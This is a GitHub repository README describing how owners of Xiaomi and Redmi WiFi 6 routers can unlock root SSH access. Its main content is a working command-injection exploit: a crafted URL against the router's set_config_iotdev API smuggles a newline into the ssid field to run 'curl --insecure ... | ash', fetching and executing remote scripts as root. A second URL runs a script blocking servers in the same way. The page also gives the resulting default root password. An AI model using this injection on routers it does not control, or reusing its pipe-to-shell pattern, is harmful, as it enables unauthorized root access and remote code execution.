Skip to content

KaMyKaSii/Unlock-SSH-on-Xiaomi-and-Redmi-WiFi-6-routers

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 

Repository files navigation

Unlock SSH on Xiaomi and Redmi WiFi 6 routers

Login to the Web UI (http://192.168.31.1), get the stok parameter value from the URL, replace it in the below URL and run it on browser:

http://192.168.31.1/cgi-bin/luci/;stok=STOKVALUEHERE/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Acurl%20--insecure%20https%3A%2F%2Fraw.githubusercontent.com%2FKaMyKaSii%2FUnlock-SSH-on-Xiaomi-and-Redmi-WiFi-6-routers%2Fmaster%2Funlock_ssh.sh%20%7C%20ash%0A

If the command is injected correctly you will receive a {"code":0} response.

Now you can connect to ssh with "ssh root@192.168.31.1", the default password is literally "password". Don't forget to change it with "passwd root" afterwards.

If you also want to block some Chinese servers (this will also disable access by the MiWifi app), run:

http://192.168.31.1/cgi-bin/luci/;stok=STOCKVALUEHERE/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Acurl%20--insecure%20https%3A%2F%2Fraw.githubusercontent.com%2FKaMyKaSii%2FUnlock-SSH-on-Xiaomi-and-Redmi-WiFi-6-routers%2Fmaster%2Fblock_chinese_servers.sh%20%7C%20ash%0A

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages